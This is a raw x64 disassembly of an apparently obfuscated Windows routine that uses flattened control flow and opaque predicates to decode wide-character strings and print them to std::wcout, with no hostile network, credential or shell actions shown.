mov eax, dword [rbp + 0x7c]
lea edx, [rax + 0x36]
mov edi, dword [rbp + 0x78]
mov r14d, 0xffc9
sub r14d, eax
and r14d, edi
not edi
and edi, edx
or r14d, edi
mov rax, qword [rbp + 0x80]
mov word [rbp + rax*2 - 0x50], r14w
mov eax, 0xc6778b86
jmp 0x1402b9f70
cmp eax, 0x9d78b433
je 0x1402ba00e
cmp eax, 0xc6778b86
je 0x1402ba018
cmp eax, 0xec86748a
jne 0x1402b9f70
mov dword [rbp + 0x8c], esi
mov eax, dword [rbp + 0x8c]
cmp eax, 0x1f
mov eax, 0xfbca6b0c
cmovl eax, ebx
jmp 0x1402b9f70
cmp eax, 0x5bfb4fb3
je 0x1402ba02b
cmp eax, 0x7f66d12a
jne 0x1402b9f70
mov eax, 0xec86748a
xor esi, esi
jmp 0x1402b9f70
mov eax, 0x7f66d12a
jmp 0x1402b9f70
mov esi, dword [rbp + 0x8c]
add esi, 1
mov eax, 0xec86748a
jmp 0x1402b9f70
movsxd rax, dword [rbp + 0x8c]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
movzx eax, word [r8 + rax*2]
mov dword [rbp + 0x78], eax
movsxd rax, dword [rbp + 0x8c]
imul rdx, rax, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
mov edi, edx
shr edi, 0x1f
sar edx, 5
add edx, edi
imul edx, edx, 0x33
sub eax, edx
mov dword [rbp + 0x7c], eax
mov eax, 0x3e235fe1
jmp 0x1402b9f70
mov edi, r12d
cmp eax, 0xdcd28fe0
je 0x1402b9ca0
cmp eax, 0xf8e1c370
je 0x1402ba1f2
mov edi, eax
cmp eax, 0xfa7f66ac
jne 0x1402b9ca0
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x58], rax
mov edi, 0xb557b8b3
jmp 0x1402b9ca0
cmp eax, 0x7513cfde
je 0x1402ba1fc
mov edi, r13d
cmp eax, 0x78a55a5e
je 0x1402b9ca0
mov edi, eax
cmp eax, 0x79e7bfb1
jne 0x1402b9ca0
jmp 0x1402ba228
mov edi, 0x7f8e8a5
jmp 0x1402b9ca0
mov edi, 0x24315aee
jmp 0x1402b9ca0
cmp byte [rbp + 0x88], 0
mov edi, 0x7513cfde
mov eax, 0x22a5df9a
cmovne edi, eax
jmp 0x1402b9ca0
mov qword [rbp + 0x70], r9
mov edi, dword [rbp + 0x10]
jmp 0x1402b9ca0
mov edi, 0x78a55a5e
jmp 0x1402b9ca0
test byte [rbp], 1
sete byte [rbp + 0x78]
cmp dword [rbp + 0x28], 0xa
setl byte [rbp + 0x7c]
mov edi, 0x749fbee2
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xff8be93d
jg 0x1402ba170
cmp edi, 0x941ac9de
je 0x1402ba20a
cmp edi, 0x9807e42b
je 0x1402ba1a4
cmp edi, 0xdff0b8c0
jne 0x1402ba140
mov edi, 0x9807e42b
jmp 0x1402ba140
cmp edi, 0xff8be93e
je 0x1402ba1b0
cmp edi, 0x6e3044e1
je 0x1402ba1b7
cmp edi, 0x749fbee2
jne 0x1402ba140
movzx edx, byte [rbp + 0x78]
cmp byte [rbp + 0x7c], 0
mov edi, 0xdff0b8c0
mov ecx, 0x9807e42b
cmovne edi, ecx
test dl, dl
cmovne edi, ecx
jmp 0x1402ba140
mov qword [rbp + 0x80], r9
mov edi, dword [rbp + 4]
jmp 0x1402ba140
mov edi, 0x6e3044e1
jmp 0x1402ba140
mov rax, qword [rbp + 0x80]
movzx eax, word [rax + 0x3c]
mov edi, 0x941ac9de
jmp 0x1402ba140
mov edi, 0x56a9c66
jmp 0x1402b9ca0
mov edi, 0x30e19b0b
jmp 0x1402b9ca0
mov edi, 0x7513cfde
jmp 0x1402b9ca0
mov edi, dword [rbp + 0xc]
jmp 0x1402b9ca0
mov edi, 0xfa7f66ac
jmp 0x1402b9ca0
mov qword [rbp + 0x50], r9
mov edi, 0x61dfe56e
jmp 0x1402b9ca0
mov dword [rbp + 0x8c], eax
cmp dword [rbp + 0x8c], 0
setne byte [rbp + 0x88]
mov edi, 0xdcd28fe0
jmp 0x1402b9ca0
mov rdx, qword [rbp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402a3ee0
mov rcx, rax
call fcn.1402a4230
jmp 0x1402bab1f
mov r14d, 0x80546fab
mov r13d, 0xd53b83e1
mov r10d, 0x2a232b87
mov r9d, 0x372103f4
mov r11d, 0x4e4520b9
jmp 0x1402ba29f
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov eax, dword [0x140b7e110]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r14d, 0x92d3ee0
mov eax, 0xdb51d9c8
nop word [rax + rax]
cmove r14d, eax
cmp dword [0x140b7e114], 0xa
cmovl r14d, eax
cmp r14d, 0x2a232b86
jle 0x1402ba320
cmp r14d, 0x40a1b71c
jle 0x1402ba36c
cmp r14d, 0x59c52161
jg 0x1402ba3fe
cmp r14d, 0x40a1b71d
je 0x1402ba4e2
cmp r14d, 0x4ae5c2d7
je 0x1402ba4ed
cmp r14d, 0x4e4520b9
jne 0x1402ba29f
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x58], rax
mov eax, dword [0x140b7e110]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov r14d, 0xa5b36604
cmove r14d, r10d
cmp dword [0x140b7e114], 0xa
cmovl r14d, r10d
jmp 0x1402ba29f
cmp r14d, 0xbd04ab53
jle 0x1402ba3bf
cmp r14d, 0x92d3edf
jg 0x1402ba44e
cmp r14d, 0xbd04ab54
je 0x1402ba265
cmp r14d, 0xcf5df4af
je 0x1402ba71b
cmp r14d, 0xdb51d9c8
jne 0x1402ba29f
mov r14d, 0x3195492a
jmp 0x1402ba29f
cmp r14d, 0x31954929
jg 0x1402ba494
cmp r14d, 0x2a232b87
je 0x1402ba73a
cmp r14d, 0x2d4c2b5a
je 0x1402ba745
cmp r14d, 0x2f32bc16
jne 0x1402ba29f
mov eax, dword [0x140b7e110]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov r14d, 0xb6d4e16f
mov eax, 0xcf5df4af
jmp 0x1402ba290
cmp r14d, 0xaa7d341d
jle 0x1402ba4b9
cmp r14d, 0xaa7d341e
je 0x1402ba760
cmp r14d, 0xb6d4e16f
je 0x1402ba76f
cmp r14d, 0xbb5ecba3
jne 0x1402ba29f
mov r14d, 0xaa7d341e
jmp 0x1402ba29f
cmp r14d, 0x59c52162
je 0x1402ba77a
cmp r14d, 0x6ce5509f
je 0x1402ba7a7
cmp r14d, 0x7b383d45
jne 0x1402ba29f
mov eax, dword [0x140b7e110]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov r14d, 0xa5b36604
cmove r14d, r11d
cmp dword [0x140b7e114], 0xa
cmovl r14d, r11d
jmp 0x1402ba29f
cmp r14d, 0x92d3ee0
je 0x1402ba9c4
cmp r14d, 0xef9c175
je 0x1402ba9d3
cmp r14d, 0x22f91437
jne 0x1402ba29f
mov eax, dword [0x140b7e110]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r14d, 0x92d3ee0
mov eax, 0xbd04ab54
jmp 0x1402ba290
cmp r14d, 0x367452c2
je 0x1402ba9f2
cmp r14d, 0x372103f4
jne 0x1402baafa
mov r14d, 0x7b383d45
jmp 0x1402ba29f
cmp r14d, 0x80546fab
je 0x1402baa11
cmp r14d, 0xa5b36604
jne 0x1402ba29f
mov rax, qword [rbp + 0x70]
mov r14d, 0x4e4520b9
jmp 0x1402ba29f
mov r14d, 0x59c52162
jmp 0x1402ba29f
mov r14, qword [rbp + 0x58]
mov edx, dword [0x140b81994]
lea esi, [rdx - 1]
imul esi, edx
test sil, 1
sete dl
cmp dword [0x140b81998], 0xa
setl bl
or bl, dl
mov r12d, 0x1231e9f2
mov eax, 0x2e3a86d6
cmovne r12d, eax
mov ebx, 0x1231e9f2
mov eax, 0xbda80998
cmovne ebx, eax
mov edx, 0xfddf21bf
jmp 0x1402ba560
movsxd rdx, dword [rbp + 0x8c]
mov qword [rbp + 0x80], rdx
mov rdx, qword [rbp + 0x80]
movzx edx, word [r14 + rdx*2]
mov word [rbp + 0x88], dx
mov edx, 0xc5ba42bd
nop dword [rax]
cmp edx, 0xfddf21be
jg 0x1402ba590
cmp edx, 0xc5ba42bc
jle 0x1402ba5d0
cmp edx, 0xc5ba42bd
je 0x1402ba690
cmp edx, 0xd53b83e1
je 0x1402ba533
cmp edx, 0xe30c0f0c
jne 0x1402ba560
mov edx, ebx
jmp 0x1402ba560
cmp edx, 0x29b7089a
jle 0x1402ba610
cmp edx, 0x2e3a86d6
je 0x1402ba6e3
cmp edx, 0x370f74d3
jne 0x1402ba6f0
mov dword [rbp + 0x8c], edi
mov edx, dword [rbp + 0x8c]
cmp edx, 0x27
mov edx, 0x29b7089b
cmovl edx, r13d
jmp 0x1402ba560
cmp edx, 0xb4223902
je 0x1402ba67a
cmp edx, 0xbda80998
jne 0x1402ba560
mov rax, qword [rbp + 0x80]
movzx ecx, word [rbp + 0x78]
mov word [rbp + rax*2 - 0x50], cx
mov eax, dword [rbp + 0x8c]
add eax, 1
mov dword [rbp + 0x7c], eax
mov edx, r12d
jmp 0x1402ba560
cmp edx, 0xfddf21bf
je 0x1402ba686
cmp edx, 0x1231e9f2
jne 0x1402ba560
mov rax, qword [rbp + 0x80]
movzx ecx, word [rbp + 0x78]
mov word [rbp + rax*2 - 0x50], cx
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov edx, 0xbda80998
jmp 0x1402ba560
mov edx, 0x370f74d3
xor edi, edi
jmp 0x1402ba560
mov edx, 0xb4223902
jmp 0x1402ba560
movzx edx, word [rbp + 0x88]
movsxd rcx, dword [rbp + 0x8c]
imul rax, rcx, 0xffffffffa0a0a0a1
shr rax, 0x20
add eax, ecx
mov r15d, eax
shr r15d, 0x1f
sar eax, 5
add eax, r15d
imul eax, eax, 0x33
mov esi, ecx
sub esi, eax
neg eax
add eax, ecx
add eax, 0x36
mov ecx, 0xffc9
sub ecx, esi
and ecx, edx
not edx
and edx, eax
or ecx, edx
mov word [rbp + 0x78], cx
mov edx, 0xe30c0f0c
jmp 0x1402ba560
mov edx, 0x370f74d3
mov edi, dword [rbp + 0x7c]
jmp 0x1402ba560
cmp edx, 0x29b7089b
jne 0x1402ba560
mov eax, dword [0x140b7e110]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r14d, 0x6ce5509f
mov eax, 0xbb5ecba3
jmp 0x1402ba290
mov eax, dword [0x140b7e110]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov r14d, 0xb6d4e16f
mov eax, 0x2d4c2b5a
jmp 0x1402ba290
mov r14d, 0x367452c2
jmp 0x1402ba29f
cmp byte [rbp + 0x8b], 0
mov r14d, 0xaa7d341e
mov eax, 0xef9c175
cmovne r14d, eax
jmp 0x1402ba29f
mov qword [rbp + 0x50], r8
mov r14d, 0x22f91437
jmp 0x1402ba29f
mov r14d, 0xcf5df4af
jmp 0x1402ba29f
mov qword [rbp + 0x70], r8
mov eax, dword [0x140b7e110]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov r14d, 0x40a1b71d
cmove r14d, r9d
cmp dword [0x140b7e114], 0xa
cmovl r14d, r9d
jmp 0x1402ba29f
mov r14, qword [rbp + 0x58]
mov ecx, dword [0x140b81994]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b81998], 0xa
setl dl
or dl, cl
mov r15d, 0x1231e9f2
mov eax, 0x2e3a86d6
cmovne r15d, eax
mov ebx, 0x1231e9f2
mov eax, 0xbda80998
cmovne ebx, eax
mov esi, 0xfddf21bf
jmp 0x1402ba820
movsxd rcx, dword [rbp + 0x8c]
mov qword [rbp + 0x80], rcx
mov rcx, qword [rbp + 0x80]
movzx ecx, word [r14 + rcx*2]
mov word [rbp + 0x88], cx
mov esi, 0xc5ba42bd
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0xfddf21be
jg 0x1402ba850
cmp esi, 0xc5ba42bc
jle 0x1402ba890
cmp esi, 0xc5ba42bd
je 0x1402ba950
cmp esi, 0xd53b83e1
je 0x1402ba7ec
cmp esi, 0xe30c0f0c
jne 0x1402ba820
mov esi, ebx
jmp 0x1402ba820
cmp esi, 0x29b7089a
jle 0x1402ba8d0
cmp esi, 0x2e3a86d6
je 0x1402ba9a0
cmp esi, 0x370f74d3
jne 0x1402ba9ad
mov dword [rbp + 0x8c], edi
mov ecx, dword [rbp + 0x8c]
cmp ecx, 0x27
mov esi, 0x29b7089b
cmovl esi, r13d
jmp 0x1402ba820
cmp esi, 0xb4223902
je 0x1402ba93a
cmp esi, 0xbda80998
jne 0x1402ba820
mov rax, qword [rbp + 0x80]
movzx ecx, word [rbp + 0x78]
mov word [rbp + rax*2 - 0x50], cx
mov eax, dword [rbp + 0x8c]
add eax, 1
mov dword [rbp + 0x7c], eax
mov esi, r15d
jmp 0x1402ba820
cmp esi, 0xfddf21bf
je 0x1402ba946
cmp esi, 0x1231e9f2
jne 0x1402ba820
mov rax, qword [rbp + 0x80]
movzx ecx, word [rbp + 0x78]
mov word [rbp + rax*2 - 0x50], cx
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov eax, dword [rbp + 0x8c]
mov esi, 0xbda80998
jmp 0x1402ba820
mov esi, 0x370f74d3
xor edi, edi
jmp 0x1402ba820
mov esi, 0xb4223902
jmp 0x1402ba820
movzx ecx, word [rbp + 0x88]
movsxd rsi, dword [rbp + 0x8c]
imul rax, rsi, 0xffffffffa0a0a0a1
shr rax, 0x20
add eax, esi
mov edx, eax
shr edx, 0x1f
sar eax, 5
add eax, edx
imul eax, eax, 0x33
mov edx, esi
sub edx, eax
neg eax
add eax, esi
add eax, 0x36
mov esi, 0xffc9
sub esi, edx
and esi, ecx
not ecx
and ecx, eax
or esi, ecx
mov word [rbp + 0x78], si
mov esi, 0xe30c0f0c
jmp 0x1402ba820
mov esi, 0x370f74d3
mov edi, dword [rbp + 0x7c]
jmp 0x1402ba820
cmp esi, 0x29b7089b
jne 0x1402ba820
mov r14d, 0x4ae5c2d7
jmp 0x1402ba29f
mov rax, qword [rbp + 0x50]
mov r14d, 0xbd04ab54
jmp 0x1402ba29f
mov eax, dword [0x140b7e110]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov r14d, 0x40a1b71d
mov eax, 0x59c52162
jmp 0x1402ba290
mov eax, dword [0x140b7e110]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov r14d, 0x6ce5509f
mov eax, 0x4ae5c2d7
jmp 0x1402ba290
mov eax, dword [0x140b8199c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x78]
mov edx, dword [0x140b819a0]
mov eax, 0xc0471759
mov ecx, 0x60b32c5d
cmove eax, ecx
cmp edx, 0xa
setl byte [rbp + 0x7c]
cmovl eax, ecx
mov edx, 0x1b3ef408
nop word cs:[rax + rax]
cmp edx, 0x53b8ed00
jg 0x1402baa90
cmp edx, 0xafc89833
je 0x1402baaaf
cmp edx, 0xc0471759
je 0x1402baabe
cmp edx, 0x1b3ef408
jne 0x1402baa50
movzx ebx, byte [rbp + 0x78]
cmp byte [rbp + 0x7c], 0
mov edx, 0xc0471759
mov ecx, 0xafc89833
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
jmp 0x1402baa50
cmp edx, 0x53b8ed01
je 0x1402baac5
cmp edx, 0x59a67d9d
je 0x1402baae0
cmp edx, 0x60b32c5d
jne 0x1402baa50
mov edx, 0x53b8ed01
jmp 0x1402baa50
lea rcx, [rbp - 4]
mov qword [rbp + 0x80], rcx
mov edx, eax
jmp 0x1402baa50
mov edx, 0xafc89833
jmp 0x1402baa50
mov rdx, qword [rbp + 0x80]
movzx edx, word [rdx]
mov word [rbp + 0x8c], dx
mov edx, 0x59a67d9d
jmp 0x1402baa50
cmp word [rbp + 0x8c], 0
setne byte [rbp + 0x8b]
mov r14d, 0x2f32bc16
jmp 0x1402ba29f
cmp r14d, 0x3195492a
jne 0x1402ba29f
mov rdx, qword [rbp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402a3ee0
mov rcx, rax
call fcn.1402a4230
xor esi, esi
lea rcx, [rbp + 0x60]
call fcn.1402c3fa0
jmp 0x1402b91a5